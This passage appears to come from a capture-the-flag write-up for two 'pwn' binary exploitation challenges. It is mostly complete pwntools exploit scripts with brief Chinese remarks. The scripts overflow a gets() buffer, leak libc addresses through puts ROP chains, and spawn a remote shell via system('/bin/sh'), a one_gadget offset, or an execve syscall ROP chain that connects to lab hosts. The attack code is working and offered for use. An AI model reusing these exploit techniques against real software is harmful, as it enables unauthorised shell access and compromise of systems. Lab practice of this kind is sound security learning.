0x000000000040122a <+56>: call 0x401070 <gets@plt>
0x000000000040122f <+61>: nop
0x0000000000401230 <+62>: leave
0x0000000000401231 <+63>: ret
End of assembler dump.
Payload
from pwn import *
#io=process('./pwn109-1644300507645.pwn109')
libc = ELF('./libc6_2.31-0ubuntu9.10_amd64.so')
#elf=ELF('./pwn109-1644300507645.pwn109')
#libc=elf.libc
io=remote('10.48.149.194',9009)
pop_rdi_ret=0x004012a3
offset=40
puts_plt=0x0000000000401060
puts_got=0x404018
gets_got=0x404020
setvbuf_got=0x404028
main=0x4011f2
ret=0x0040101a
io.recvlines(6)
io.sendline(b'a'*offset+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(pop_rdi_ret)+p64(gets_got)+p64(puts_plt)+p64(pop_rdi_ret)+p64(setvbuf_got)+p64(puts_plt)+p64(main))
puts_libc = u64(io.recv(6) + b'\x00\x00')
log.info(f'puts_libc: {hex(puts_libc)}')
gets_libc=u64(io.recv(6) + b'\x00\x00')
log.info(f'gets_libc: {hex(gets_libc)}')
setvbuf_libc=u64(io.recv(6) + b'\x00\x00')
log.info(f'setvbuf_libc: {hex(setvbuf_libc)}')
libc_base=puts_libc - libc.symbols['puts']
log.info(f'libc_base: {hex(libc_base)}')
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
io.sendline(b'a'*offset+p64(ret)+p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(system_addr))
io.interactive()
with one_gadget
懶得串 ROP ,直接用 one_gadget 找位置 + 錯誤嘗試法看哪個位置可以 RCE
from pwn import *
#io=process('./pwn109-1644300507645.pwn109')
libc = ELF('./libc6_2.31-0ubuntu9.10_amd64.so')
elf=ELF('./pwn109-1644300507645.pwn109')
rop=ROP(elf)
io=remote('10.49.179.119',9009)
offset=40
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
gets_got=elf.got['gets']
setvbuf_got=elf.got['setvbuf']
main=elf.symbols['main']
pop_rdi_ret = rop.find_gadget(['pop rdi','ret'])[0]
ret = rop.find_gadget(['ret'])[0]
io.recvlines(6)
io.sendline(b'a'*offset+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(pop_rdi_ret)+p64(gets_got)+p64(puts_plt)+p64(pop_rdi_ret)+p64(setvbuf_got)+p64(puts_plt)+p64(main))
puts_leak=u64(io.recv(6).ljust(8,b'\x00'))
log.info(f'puts_leak : {hex(puts_leak)}')
gets_leak=u64(io.recv(6).ljust(8,b'\x00'))
log.info(f'gets_leak : {hex(gets_leak)}')
setvbuf_leak=u64(io.recv(6).ljust(8,b'\x00'))
log.info(f'setvbuf_leak : {hex(setvbuf_leak)}')
libc_base=puts_leak - libc.symbols['puts']
log.info(f'libc_base : {hex(libc_base)}')
shell=libc_base+0xe3b01
io.sendline(b'a'*offset+p64(shell))
io.interactive()
pwn 110 – Playing with ROP
用 cyclic 搭配 pwndbg 算出 offset 是 0x28 , 搭配以下圖片串 ROP chain

Payload
from pwn import *
r=remote('10.10.162.17',9010)
pop_rdi=0x40191a
pop_rax=0x4497d7
pop_rsi=0x40f4de
pop_rdx=0x40181f
data_addr=0x4c00e0
mov_rdx_to_rdi=0x4340a3
syscall_addr=0x4012d3
r.sendline(b'a'*0x28+p64(pop_rdx)+b'/bin/sh\x00'+p64(pop_rdi)+p64(data_addr)+p64(mov_rdx_to_rdi)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(pop_rax)+p64(59)+p64(syscall_addr))
r.interactive()
script kiddie version
from pwn import *
from struct import pack
io=process('./pwn110-1644300525386.pwn110')
p = b''
p += pack('<Q', 0x000000000040f4de) # pop rsi ; ret
p += pack('<Q', 0x00000000004c00e0) # @ .data
p += pack('<Q', 0x00000000004497d7) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000047bcf5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040f4de) # pop rsi ; ret
p += pack('<Q', 0x00000000004c00e8) # @ .data + 8
p += pack('<Q', 0x0000000000443e30) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047bcf5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040191a) # pop rdi ; ret
p += pack('<Q', 0x00000000004c00e0) # @ .data
p += pack('<Q', 0x000000000040f4de) # pop rsi ; ret
p += pack('<Q', 0x00000000004c00e8) # @ .data + 8
p += pack('<Q', 0x000000000040181f) # pop rdx ; ret
p += pack('<Q', 0x00000000004c00e8) # @ .data + 8
p += pack('<Q', 0x0000000000443e30) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004012d3) # syscall
io.sendline(b'a'*0x28+p)
io.interactive()